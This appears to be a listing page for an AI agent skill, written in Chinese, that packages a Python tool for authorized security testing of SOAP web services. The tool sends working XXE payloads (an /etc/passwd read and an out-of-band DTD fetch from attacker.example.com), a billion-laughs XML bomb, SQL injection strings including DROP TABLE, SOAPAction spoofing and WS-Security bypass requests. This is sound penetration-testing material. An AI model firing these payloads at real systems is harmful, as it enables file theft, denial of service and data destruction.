performing-soap-web-service-security-testing

通过分析 WSDL 定义,测试 XML 注入(XML Injection)、XXE、WS-Security 绕过和 SOAPAction 欺骗,对 SOAP Web 服务执行安全测试。

9 stars

Best use case

performing-soap-web-service-security-testing is best used when you need a repeatable AI agent workflow instead of a one-off prompt.

通过分析 WSDL 定义,测试 XML 注入(XML Injection)、XXE、WS-Security 绕过和 SOAPAction 欺骗,对 SOAP Web 服务执行安全测试。

Teams using performing-soap-web-service-security-testing should expect a more consistent output, faster repeated execution, less prompt rewriting.

When to use this skill

  • You want a reusable workflow that can be run more than once with consistent structure.

When not to use this skill

  • You only need a quick one-off answer and do not need a reusable workflow.
  • You cannot install or maintain the underlying files, dependencies, or repository context.

Installation

Claude Code / Cursor / Codex

$curl -o ~/.claude/skills/performing-soap-web-service-security-testing/SKILL.md --create-dirs "https://raw.githubusercontent.com/killvxk/cybersecurity-skills-zh/main/skills/performing-soap-web-service-security-testing/SKILL.md"

Manual Installation

  1. Download SKILL.md from GitHub
  2. Place it in .claude/skills/performing-soap-web-service-security-testing/SKILL.md inside your project
  3. Restart your AI agent — it will auto-discover the skill

How performing-soap-web-service-security-testing Compares

Feature / Agentperforming-soap-web-service-security-testingStandard Approach
Platform SupportNot specifiedLimited / Varies
Context Awareness High Baseline
Installation ComplexityUnknownN/A

Frequently Asked Questions

What does this skill do?

通过分析 WSDL 定义,测试 XML 注入(XML Injection)、XXE、WS-Security 绕过和 SOAPAction 欺骗,对 SOAP Web 服务执行安全测试。

Where can I find the source code?

You can find the source code on GitHub using the link provided at the top of the page.

SKILL.md Source

# 执行 SOAP Web 服务安全测试

## 概述

SOAP(简单对象访问协议,Simple Object Access Protocol)Web 服务在企业环境、金融系统、医疗健康和政务集成中仍广泛部署。SOAP 服务的安全测试包括:分析 WSDL(Web 服务描述语言)定义以了解可用方法、测试基于 XML 的注入攻击(XXE、XPath 注入、XML 炸弹)、评估 WS-Security 实施正确性、SOAPAction 头欺骗,以及评估认证和授权控制。与 REST API 不同,SOAP 服务使用 XML 信封,并且通常实施可能被错误配置的复杂安全标准。

## 前置条件

- 目标 SOAP Web 服务端点 URL
- WSDL 文件或服务的 WSDL URL 访问权限
- SoapUI 或 ReadyAPI 用于结构化测试
- 带 SOAP 扩展的 Burp Suite 用于拦截
- Python 3.8+ 及 zeep 和 lxml 库
- 执行安全测试的授权

## 测试方法论

### 阶段 1:WSDL 侦察

```python
#!/usr/bin/env python3
"""SOAP Web 服务安全测试工具

分析 WSDL 定义并测试 SOAP 端点中的
常见漏洞,包括 XXE、注入和 WS-Security 错误配置。
"""

import requests
import xml.etree.ElementTree as ET
from lxml import etree
import sys
import re
from typing import List, Dict, Optional
from dataclasses import dataclass

@dataclass
class SOAPOperation:
    name: str
    action: str
    input_message: str
    output_message: str
    parameters: List[Dict]

class SOAPSecurityTester:
    NAMESPACES = {
        'wsdl': 'http://schemas.xmlsoap.org/wsdl/',
        'soap': 'http://schemas.xmlsoap.org/wsdl/soap/',
        'soap12': 'http://schemas.xmlsoap.org/wsdl/soap12/',
        'xsd': 'http://www.w3.org/2001/XMLSchema',
        'wsse': 'http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd',
    }

    def __init__(self, wsdl_url: str, endpoint_url: Optional[str] = None):
        self.wsdl_url = wsdl_url
        self.endpoint_url = endpoint_url
        self.operations: List[SOAPOperation] = []
        self.findings: List[dict] = []

    def parse_wsdl(self) -> List[SOAPOperation]:
        """解析 WSDL 以提取可用操作和参数。"""
        response = requests.get(self.wsdl_url, timeout=30)
        root = etree.fromstring(response.content)

        # 如果未提供端点 URL,则提取
        if not self.endpoint_url:
            address = root.find('.//soap:address', self.NAMESPACES)
            if address is not None:
                self.endpoint_url = address.get('location')

        # 提取操作
        for binding_op in root.findall('.//wsdl:binding/wsdl:operation', self.NAMESPACES):
            name = binding_op.get('name')
            soap_op = binding_op.find('soap:operation', self.NAMESPACES)
            action = soap_op.get('soapAction', '') if soap_op is not None else ''

            operation = SOAPOperation(
                name=name,
                action=action,
                input_message="",
                output_message="",
                parameters=[]
            )
            self.operations.append(operation)

        print(f"[+] 找到 {len(self.operations)} 个 SOAP 操作")
        for op in self.operations:
            print(f"    - {op.name} (SOAPAction: {op.action})")

        return self.operations

    def test_xxe_vulnerability(self, operation: SOAPOperation) -> dict:
        """测试 XML 外部实体(XXE)注入。"""
        xxe_payloads = [
            # 经典 XXE - 文件读取
            {
                "name": "经典 XXE(文件读取)",
                "payload": '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Body>
    <{operation}>&xxe;</{operation}>
  </soapenv:Body>
</soapenv:Envelope>'''.format(operation=operation.name)
            },
            # 盲 XXE - 带外
            {
                "name": "盲 XXE(OOB 带外)",
                "payload": '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://attacker.example.com/xxe.dtd">
  %xxe;
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Body>
    <{operation}>test</{operation}>
  </soapenv:Body>
</soapenv:Envelope>'''.format(operation=operation.name)
            },
            # XML 炸弹(十亿笑声)
            {
                "name": "XML 炸弹(十亿笑声)",
                "payload": '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Body>
    <{operation}>&lol4;</{operation}>
  </soapenv:Body>
</soapenv:Envelope>'''.format(operation=operation.name)
            }
        ]

        results = []
        for xxe in xxe_payloads:
            try:
                response = requests.post(
                    self.endpoint_url,
                    data=xxe["payload"],
                    headers={
                        "Content-Type": "text/xml; charset=utf-8",
                        "SOAPAction": operation.action,
                    },
                    timeout=10
                )

                vulnerable = False
                indicators = []

                if "root:" in response.text or "/bin/" in response.text:
                    vulnerable = True
                    indicators.append("响应中包含文件内容")

                if response.status_code == 200 and "Fault" not in response.text:
                    indicators.append("未返回 XML 解析错误")

                if response.elapsed.total_seconds() > 5:
                    indicators.append("响应缓慢(可能是 XML 炸弹)")
                    vulnerable = True

                result = {
                    "test": xxe["name"],
                    "vulnerable": vulnerable,
                    "status_code": response.status_code,
                    "response_time": response.elapsed.total_seconds(),
                    "indicators": indicators
                }
                results.append(result)

                if vulnerable:
                    self.findings.append({
                        "severity": "CRITICAL",
                        "type": "XXE",
                        "operation": operation.name,
                        "details": xxe["name"]
                    })

            except requests.exceptions.Timeout:
                results.append({
                    "test": xxe["name"],
                    "vulnerable": True,
                    "indicators": ["请求超时 - 可能通过 XML 炸弹造成 DoS"]
                })

        return {"operation": operation.name, "xxe_results": results}

    def test_sql_injection(self, operation: SOAPOperation) -> dict:
        """测试 SOAP 参数中的 SQL 注入。"""
        sqli_payloads = [
            "' OR '1'='1",
            "1; DROP TABLE users--",
            "1' UNION SELECT NULL,NULL,NULL--",
            "' OR 1=1; WAITFOR DELAY '0:0:5'--",
            "admin'/*",
        ]

        results = []
        for payload in sqli_payloads:
            soap_body = f'''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Body>
    <{operation.name}>
      <param>{payload}</param>
    </{operation.name}>
  </soapenv:Body>
</soapenv:Envelope>'''

            try:
                response = requests.post(
                    self.endpoint_url,
                    data=soap_body,
                    headers={
                        "Content-Type": "text/xml; charset=utf-8",
                        "SOAPAction": operation.action,
                    },
                    timeout=15
                )

                sql_errors = [
                    "SQL syntax", "ORA-", "mysql_", "SQLSTATE",
                    "Microsoft OLE DB", "Unclosed quotation mark",
                    "syntax error", "PostgreSQL"
                ]
                error_found = any(err in response.text for err in sql_errors)

                if error_found:
                    self.findings.append({
                        "severity": "CRITICAL",
                        "type": "SQL Injection",
                        "operation": operation.name,
                        "details": f"SQL 错误由以下内容触发:{payload[:30]}..."
                    })

                results.append({
                    "payload": payload,
                    "status_code": response.status_code,
                    "sql_error_detected": error_found,
                    "response_time": response.elapsed.total_seconds()
                })

            except requests.exceptions.RequestException:
                continue

        return {"operation": operation.name, "sqli_results": results}

    def test_soapaction_spoofing(self) -> dict:
        """测试 SOAPAction 头欺骗漏洞。"""
        results = []

        for i, operation in enumerate(self.operations):
            for j, other_op in enumerate(self.operations):
                if i == j:
                    continue

                # 发送带不匹配 SOAPAction 的请求
                soap_body = f'''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Body>
    <{operation.name}>
      <param>test</param>
    </{operation.name}>
  </soapenv:Body>
</soapenv:Envelope>'''

                try:
                    response = requests.post(
                        self.endpoint_url,
                        data=soap_body,
                        headers={
                            "Content-Type": "text/xml; charset=utf-8",
                            "SOAPAction": other_op.action,  # 错误的 action
                        },
                        timeout=10
                    )

                    if response.status_code == 200 and "Fault" not in response.text:
                        self.findings.append({
                            "severity": "HIGH",
                            "type": "SOAPAction Spoofing",
                            "operation": operation.name,
                            "details": f"使用 {other_op.name} 的 SOAPAction 被接受"
                        })
                        results.append({
                            "body_operation": operation.name,
                            "spoofed_action": other_op.action,
                            "accepted": True
                        })

                except requests.exceptions.RequestException:
                    continue

        return {"spoofing_results": results}

    def test_ws_security_bypass(self) -> dict:
        """测试 WS-Security 令牌处理。"""
        test_cases = [
            {
                "name": "缺少 WS-Security 头",
                "header": ""
            },
            {
                "name": "空安全令牌",
                "header": '''<wsse:Security xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd">
    <wsse:UsernameToken>
      <wsse:Username></wsse:Username>
      <wsse:Password></wsse:Password>
    </wsse:UsernameToken>
  </wsse:Security>'''
            },
            {
                "name": "已过期时间戳",
                "header": '''<wsse:Security xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd"
    xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd">
    <wsu:Timestamp>
      <wsu:Created>2020-01-01T00:00:00Z</wsu:Created>
      <wsu:Expires>2020-01-01T00:05:00Z</wsu:Expires>
    </wsu:Timestamp>
  </wsse:Security>'''
            }
        ]

        results = []
        for test in test_cases:
            if self.operations:
                operation = self.operations[0]
                soap_body = f'''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    {test["header"]}
  </soapenv:Header>
  <soapenv:Body>
    <{operation.name}><param>test</param></{operation.name}>
  </soapenv:Body>
</soapenv:Envelope>'''

                try:
                    response = requests.post(
                        self.endpoint_url,
                        data=soap_body,
                        headers={"Content-Type": "text/xml; charset=utf-8"},
                        timeout=10
                    )

                    accepted = response.status_code == 200 and "Fault" not in response.text
                    if accepted:
                        self.findings.append({
                            "severity": "CRITICAL",
                            "type": "WS-Security Bypass",
                            "operation": operation.name,
                            "details": test["name"]
                        })

                    results.append({
                        "test": test["name"],
                        "accepted": accepted,
                        "status_code": response.status_code
                    })
                except requests.exceptions.RequestException:
                    continue

        return {"ws_security_results": results}

    def generate_report(self) -> dict:
        """生成综合安全评估报告。"""
        return {
            "target": self.endpoint_url,
            "wsdl": self.wsdl_url,
            "operations_tested": len(self.operations),
            "total_findings": len(self.findings),
            "critical": len([f for f in self.findings if f["severity"] == "CRITICAL"]),
            "high": len([f for f in self.findings if f["severity"] == "HIGH"]),
            "findings": self.findings
        }


def main():
    wsdl_url = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8080/ws?wsdl"
    tester = SOAPSecurityTester(wsdl_url)

    print(f"[*] 解析 WSDL:{wsdl_url}")
    operations = tester.parse_wsdl()

    for op in operations:
        print(f"\n[*] 测试操作:{op.name}")
        tester.test_xxe_vulnerability(op)
        tester.test_sql_injection(op)

    tester.test_soapaction_spoofing()
    tester.test_ws_security_bypass()

    report = tester.generate_report()
    print(f"\n{'='*60}")
    print(f"SOAP 安全评估报告")
    print(f"{'='*60}")
    print(f"目标:{report['target']}")
    print(f"已测试操作:{report['operations_tested']}")
    print(f"发现:{report['total_findings']} "
          f"(严重:{report['critical']},高危:{report['high']})")

    for finding in report['findings']:
        print(f"\n  [{finding['severity']}] {finding['type']}")
        print(f"  操作:{finding['operation']}")
        print(f"  详情:{finding['details']}")


if __name__ == "__main__":
    main()
```

## 参考资料

- SecureLayer7 OWASP SOAP 渗透测试:https://blog.securelayer7.net/owasp-top-10-pentesting-mitigating-soap-service-risks/
- BrightSec SOAP 漏洞:https://brightsec.com/blog/top-7-soap-api-vulnerabilities/
- Levo.ai SOAP API 安全测试指南:https://www.levo.ai/resources/blogs/soap-api-security-testing
- SoapUI Web 服务安全测试:https://www.soapui.org/docs/soap-and-wsdl/tips-and-tricks/web-service-hacking/
- PortSwigger XXE 教程:https://portswigger.net/web-security/xxe

Related Skills

triaging-security-incident

9
from killvxk/cybersecurity-skills-zh

使用 NIST SP 800-61r3 和 SANS PICERL 框架对安全事件进行初始分类,确定严重性、范围和所需响应行动。 按类型对事件分类,根据业务影响分配优先级,并路由到相应的响应团队。适用于事件分类、 安全告警分类、严重性评估、事件优先级排序或初始事件分析等请求场景。

triaging-security-incident-with-ir-playbook

9
from killvxk/cybersecurity-skills-zh

使用结构化 IR Playbook 对安全事件进行分类和优先排序,确定严重性、分配响应团队并启动适当的响应程序。

triaging-security-alerts-in-splunk

9
from killvxk/cybersecurity-skills-zh

在 Splunk Enterprise Security 中对安全告警进行分类,通过 SPL 查询和事件审查(Incident Review) 仪表板对重要事件进行严重性分类、调查、关联相关遥测并做出升级或关闭决策。 适用于 SOC 分析师需要处理关联搜索产生的告警队列、确定调查优先级, 或需要为交接给二/三级分析师记录分类决策时。

testing-websocket-api-security

9
from killvxk/cybersecurity-skills-zh

测试 WebSocket API 实现中的安全漏洞,包括 WebSocket 升级时缺少身份认证、跨站 WebSocket 劫持(Cross-Site WebSocket Hijacking,CSWSH)、通过 WebSocket 消息进行的注入攻击、输入校验不足、通过消息泛洪实施拒绝服务,以及通过 WebSocket 帧造成的信息泄露。测试人员使用 Burp Suite 拦截 WebSocket 握手和消息,构造恶意 payload,并测试 WebSocket 通道上的授权绕过。适用于 WebSocket 安全测试、WS 渗透测试、CSWSH 攻击或实时 API 安全评估相关请求。

testing-oauth2-implementation-flaws

9
from killvxk/cybersecurity-skills-zh

测试 OAuth 2.0 和 OpenID Connect 实现中的安全缺陷,包括授权码拦截、重定向 URI 操控、OAuth 流程中的 CSRF、令牌泄露、权限范围(scope)提升以及 PKCE 绕过。测试人员对授权服务器、客户端应用及令牌处理进行评估,发现可导致账户接管或未授权访问的常见错误配置。适用于 OAuth 安全测试、OIDC 漏洞评估、OAuth2 重定向绕过或授权码流程测试相关请求。

testing-mobile-api-authentication

9
from killvxk/cybersecurity-skills-zh

测试移动应用 API 的认证与授权机制,识别认证失效、不安全的令牌管理、会话固定、 权限提升和 IDOR 漏洞。适用于对移动应用后端进行 API 安全评估、测试 JWT 实现、 评估 OAuth 流程或评估会话管理的场景。适合涉及移动 API 认证测试、令牌安全评估、 OAuth 移动端流程测试或 API 授权绕过的相关请求。

testing-jwt-token-security

9
from killvxk/cybersecurity-skills-zh

在安全测试活动中,评估 JSON Web Token(JWT)实现中的密码学弱点、算法混淆攻击和授权绕过漏洞。

testing-for-xxe-injection-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

在授权的渗透测试中发现和利用 XML 外部实体(XXE)注入漏洞,以读取服务器文件、执行 SSRF 并外泄数据。

testing-for-xss-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

通过向反射型、存储型和 DOM 型上下文注入 JavaScript 载荷,测试 Web 应用程序的跨站脚本(XSS)漏洞, 演示客户端代码执行、会话劫持和用户冒充。测试人员识别所有注入点和输出上下文,构造适合上下文的载荷, 并绕过净化和 CSP 保护。适用于 XSS 测试、跨站脚本评估、客户端注入测试或 JavaScript 注入漏洞测试等请求场景。

testing-for-xss-vulnerabilities-with-burpsuite

9
from killvxk/cybersecurity-skills-zh

在授权的安全评估过程中,使用 Burp Suite 的扫描器、Intruder 和 Repeater 工具识别和验证跨站脚本(XSS)漏洞。适用于 Web 应用渗透测试中检测反射型、存储型和 DOM 型 XSS,验证自动化扫描器报告的 XSS 发现,以及评估 CSP 和 XSS 过滤器的有效性时使用。

testing-for-xml-injection-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

测试 Web 应用程序中的 XML 注入漏洞,包括 XXE(XML 外部实体注入)、XPath 注入和 XML 实体攻击,以识别数据泄露和服务器端请求伪造(SSRF)风险。

testing-for-sensitive-data-exposure

9
from killvxk/cybersecurity-skills-zh

在安全评估中识别敏感数据暴露漏洞,包括 API 密钥泄露、响应中的 PII、不安全存储以及未受保护的数据传输。